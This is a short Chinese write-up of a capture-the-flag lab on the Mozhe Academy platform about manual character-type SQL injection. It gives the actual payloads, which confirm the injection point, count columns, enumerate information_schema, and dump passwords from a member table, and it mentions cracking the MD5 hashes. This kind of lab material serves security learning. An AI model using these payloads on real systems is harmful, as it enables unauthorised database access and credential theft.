墨者学院SQL手动注入（字符型）

点开环境后，点击这里：
会出现：
从题目或者从网址看到只是一个字符型的注入。首先，我们要判断是否存在判断点
加 ’ and 1=1%23正常.(%23就相当于#，但用#的话结束不了所以就用%23）

存在注入点，然后判断字段数：
判断字段数。order by 5%23报错
order by 4%23，没事：
输入：id=1’ union select 1,2,3,4%23

输入：union select 1，database(),user(),4%23

输入：union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
再输入：union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘stormgroup_member’%23
再输入：union select 1,(select group_concat(password) from stormgroup_member),3,4%23

密码是md5**，所以密文是32位。逗号两边分别为单独的用户名，密码。
再把密码用户名输入，找到key。